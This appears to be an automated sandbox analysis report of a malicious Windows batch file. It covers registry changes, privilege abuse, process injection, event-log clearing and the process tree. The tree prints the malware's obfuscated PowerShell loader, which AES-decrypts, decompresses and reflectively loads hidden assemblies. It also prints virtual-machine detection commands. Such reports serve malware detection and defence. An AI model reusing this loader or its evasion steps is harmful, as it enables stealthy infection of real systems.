ZGsYVJLdjFRnFncWSjtryQHlfxSPCfJolsr/BnB1%252BJqFgJW0pjknJWwgWYxi8nZyMIlgJTmkCY01NkiBXZnbEpxsk6xIL9g54UQgq9VcJgnJilMNVJ7MgXE4QVtputYLhyBCXkSK9OAbPYnzIOZ3pZqarcPhiJu8BXc3Jmj0DimvrFocVV66gzuhUPXKF2hNgeNsiynnPzDXTRkOzOvxa0o11X3G1s74BIFolFNGg7PvxJnAM06vPNMwdMEIm5B29SB8h7drVMC5KN3UkFtrd6AugJA%253D%253C/CipherValue%253E%253C/CipherData%253E%253C/EncryptedData%253E%26nonce%3DalAgan%252F54Y14F%252BFMHirK4ZkQGy65DLBj%26hash%3Dj1vxIX0KNQBcl43PitS1ryPY%252FOUaAt%252BrEKcNHwmoYGA%253D%26dd%3D1; path=/; domain=login.live.com; secure; httponly" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\02eigpavrtuvqhsr\DeviceId = "<Data><User username=\"02EIGPAVRTUVQHSR\"><HardwareInfo BoundTime=\"1736002058\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\02eigpavrtuvqhsr\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ntzqqvducombgi svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C010AF727241" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C010AF727241" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\ValidDeviceId svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ntzqqvducombgi\Provision Saturday, January 04, 2025 14:47:36 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAbIpSpj7TWkCJ0IL7CCDWtAAAAAACAAAAAAAQZgAAAAEAACAAAAA36bcijBdEeDoQVt3fDHVc3cv1IwDba5zH8QNfLK7+LgAAAAAOgAAAAAIAACAAAAAqOf6SiwFqrXJHQ57V9mqYTHaCMk0QPno2jDMa5m72sSAAAABOVDYJMHRYGTqGsfNInk6VowTM6smzEgWA+in/aDiEnUAAAAAsLWh0+EztJS/V2WG6UAcRzAa0N+Nlk9X2yKvuvObvaozgrbCxztLYF8sTnspBxO7X4DW1+GCDi7akzPB4ymN4" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\URL = "https://login.live.com" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000006c8a52a63ed35a4089d082fb0820d6b4000000000200000000001066000000010000200000000af1a678f8e8bcd7b2e0b58896c576bd265c5ed1fcc7808a1bf040c7a823b5c0000000000e80000000020000200000009f4687325e4a7483f9d16efff86981dc8e5a63145194b29af595ddc9cd698ccab00300001efdf116abad1799b100fcd5b5d23ac003bc3b1b52b625d938a1ee0302bd0299d266b695b3c6155ef39d28a5ebdfe8cdea388cb38356548161e4f0c7d56481d72f0e76834c42177152ca38abd1f82a7b3d3514d047e0bc92e72be549b7d0aec91622e3bea25fe813a9fd5b3785bc1a201ed2814b4c7a3e6e724a515b5560233dc432d152cee6ce9782bb6d91ec596b7e3813e77a7171091b30d752eb7cb5c0981d9f3658d275559fce8b89d736f71e3ed278fb02d0b43317ac93cf73578a6fa9794d16eb79438ebc785af86546e38b3d958e7e705a7989a5fb7064d0ab5c4432006ab964435973490ce641a9fadf87bbe4a728669d94c804150e868e1687be97456466d8e88a869f7c4ef0ae9dd7d90f4784f9ee74dcbcdcafbf34933cc0d18be1b9da47d594648ad32be46ef7ce683c21ef43e4aa594d2bee4eddd36d08a496597a12c8ae7fd9edec6b9fee06f2c0a6afbdfb8df3494b6d06fa6d3f8b9242f77fa35c0decf4576a1762c8c008d617debbdcd28fcb99db8367a802376116528b762fc0551679a63f2fa3a6d10b2bbd8da536a83a33a586fd3bf22376d6422fa5b8324c352ef0cea6069046836a40af4fe521e3d4a444e81db25d5199042ac90248b6cb9f4dc37557f23954010d0ee0bbe1527768080b9f37e6e6b84a9dcd457493141863556dd204355576b35c47917fa27d27d13c9781b5c10054c5a35b55b90d569263a3d0bbd6a3a9a60061729163309603ddb1cf388733ce066d90a7e8378802046e1146df5a446c966f288a0db5868a741f6404d5fc96865c56f5ebaf5f01a160175c6c49594dcabe4f5eb2330be791abdff71779ffc95a0dcbbc2faaa0246f98f0f6e66bd2615e8a638ba84aa4cb234c446fbd626cc4de83931d9635581ddae3958960d90709385ab347758675f4bbe071c9e99f954272c7f9a5544da0494ec322ddea4d641f5f6767a6ca3151c3df0ce77cd0fb154988dd01d94140c5bacaad7ef4c869bfb7bb2a4e62b3b58e0335bd7807639fd7a86fc4b388890a4c27b8f8c2c24551e1fcf49191fe6c253c91f07e7aa8a2ede28a8d5fee56b7d2b822cae362d3b7c078aed197fcf275e197f54b40c5d89281b74699bd13092bdd6ae2be7ec3538dd292f44bdbaf3780ea8f28d62e8c56e97d5a50ec9ca6c74533eb2294b1202fb96fbd8e862e1b639fa0152a6d4157efa34e291e0568a4c31878f10e14d7d75a7fecd18d8fad7f544bcbefed0323a0d1c238d812d0bab9b0b2d3395744d701f0813d4d200c9ecb21c1ef2fef5d6e88f74fdc5a17c14ffb5ee001f9608b7e7f77d8335d8673527259904ab240000000097d68dc86dc98e7b46d812b9d10172985e99ff6ea44e76d34bf65287e66a196665288319fe48fbb948270df5faa1cebb98eab7fcd165cdff738f8c7d4bbb623 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4808 powershell.exe 4808 powershell.exe 4808 powershell.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe 3404 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3532 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4808 powershell.exe Token: SeDebugPrivilege 3404 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeSystemtimePrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeUndockPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeSystemtimePrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeUndockPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeSystemtimePrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeUndockPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeSystemtimePrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeUndockPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 3532 Explorer.EXE Token: SeCreatePagefilePrivilege 3532 Explorer.EXE Token: SeShutdownPrivilege 3532 Explorer.EXE Token: SeCreatePagefilePrivilege 3532 Explorer.EXE Token: SeShutdownPrivilege 3532 Explorer.EXE Token: SeCreatePagefilePrivilege 3532 Explorer.EXE Token: SeShutdownPrivilege 3532 Explorer.EXE Token: SeCreatePagefilePrivilege 3532 Explorer.EXE Token: SeShutdownPrivilege 3532 Explorer.EXE Token: SeCreatePagefilePrivilege 3532 Explorer.EXE Token: SeShutdownPrivilege 3532 Explorer.EXE Token: SeCreatePagefilePrivilege 3532 Explorer.EXE Token: SeShutdownPrivilege 3532 Explorer.EXE Token: SeCreatePagefilePrivilege 3532 Explorer.EXE -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 3532 Explorer.EXE 3532 Explorer.EXE 3532 Explorer.EXE 3532 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1052 wrote to memory of 1484 1052 cmd.exe 83 PID 1052 wrote to memory of 1484 1052 cmd.exe 83 PID 1052 wrote to memory of 1008 1052 cmd.exe 84 PID 1052 wrote to memory of 1008 1052 cmd.exe 84 PID 1052 wrote to memory of 1116 1052 cmd.exe 85 PID 1052 wrote to memory of 1116 1052 cmd.exe 85 PID 1052 wrote to memory of 4524 1052 cmd.exe 86 PID 1052 wrote to memory of 4524 1052 cmd.exe 86 PID 1052 wrote to memory of 4712 1052 cmd.exe 87 PID 1052 wrote to memory of 4712 1052 cmd.exe 87 PID 1052 wrote to memory of 4808 1052 cmd.exe 88 PID 1052 wrote to memory of 4808 1052 cmd.exe 88 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 4808 wrote to memory of 3404 4808 powershell.exe 89 PID 3404 wrote to memory of 616 3404 dllhost.exe 5 PID 3404 wrote to memory of 676 3404 dllhost.exe 7 PID 3404 wrote to memory of 960 3404 dllhost.exe 12 PID 3404 wrote to memory of 336 3404 dllhost.exe 13 PID 3404 wrote to memory of 468 3404 dllhost.exe 14 PID 3404 wrote to memory of 1004 3404 dllhost.exe 15 PID 3404 wrote to memory of 1032 3404 dllhost.exe 16 PID 3404 wrote to memory of 1132 3404 dllhost.exe 18 PID 3404 wrote to memory of 1188 3404 dllhost.exe 19 PID 3404 wrote to memory of 1196 3404 dllhost.exe 20 PID 3404 wrote to memory of 1280 3404 dllhost.exe 21 PID 3404 wrote to memory of 1320 3404 dllhost.exe 22 PID 3404 wrote to memory of 1356 3404 dllhost.exe 23 PID 3404 wrote to memory of 1452 3404 dllhost.exe 24 PID 3404 wrote to memory of 1460 3404 dllhost.exe 25 PID 3404 wrote to memory of 1528 3404 dllhost.exe 26 PID 3404 wrote to memory of 1548 3404 dllhost.exe 27 PID 3404 wrote to memory of 1680 3404 dllhost.exe 28 PID 3404 wrote to memory of 1696 3404 dllhost.exe 29 PID 3404 wrote to memory of 1748 3404 dllhost.exe 30 PID 3404 wrote to memory of 1780 3404 dllhost.exe 31 PID 3404 wrote to memory of 1832 3404 dllhost.exe 32 PID 3404 wrote to memory of 1880 3404 dllhost.exe 33 PID 3404 wrote to memory of 1892 3404 dllhost.exe 34 PID 3404 wrote to memory of 2008 3404 dllhost.exe 35 PID 3404 wrote to memory of 1664 3404 dllhost.exe 36 PID 676 wrote to memory of 2772 676 lsass.exe 48 PID 3404 wrote to memory of 2060 3404 dllhost.exe 37 PID 3404 wrote to memory of 2168 3404 dllhost.exe 39 PID 3404 wrote to memory of 2204 3404 dllhost.exe 40 PID 3404 wrote to memory of 2244 3404 dllhost.exe 41 PID 3404 wrote to memory of 2440 3404 dllhost.exe 42 PID 3404 wrote to memory of 2448 3404 dllhost.exe 43 PID 3404 wrote to memory of 2596 3404 dllhost.exe 44 PID 3404 wrote to memory of 2624 3404 dllhost.exe 45 PID 3404 wrote to memory of 2692 3404 dllhost.exe 46 PID 3404 wrote to memory of 2732 3404 dllhost.exe 47 PID 3404 wrote to memory of 2772 3404 dllhost.exe 48 PID 3404 wrote to memory of 2796 3404 dllhost.exe 49 PID 3404 wrote to memory of 2804 3404 dllhost.exe 50 PID 3404 wrote to memory of 2848 3404 dllhost.exe 51 PID 3404 wrote to memory of 2744 3404 dllhost.exe 53 PID 3404 wrote to memory of 3096 3404 dllhost.exe 54 PID 3404 wrote to memory of 3444 3404 dllhost.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:336
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{cb373af7-9589-41e9-8247-5fe3781716a1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3404
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{088835d0-7136-4f3e-a06c-8bc61e09020a}2⤵PID:4204
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:468
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1188 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2848
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1460
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1528
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1548
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1832
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1880
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1664
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2060
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2204
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2732
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2744
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3444
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3532 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$rbx-CO2.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1520
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C:\Windows\system32\fsutil.exefsutil fsinfo drives3⤵PID:1484
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C:\Windows\system32\findstr.exefindstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"3⤵PID:1008
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C:\Windows\system32\fsutil.exefsutil fsinfo drives3⤵PID:1116
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C:\Windows\system32\findstr.exefindstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"3⤵PID:4524
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C:\Windows\system32\cmd.execmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Users\Admin\AppData\Local\Temp\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));3⤵PID:4712
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4808 -
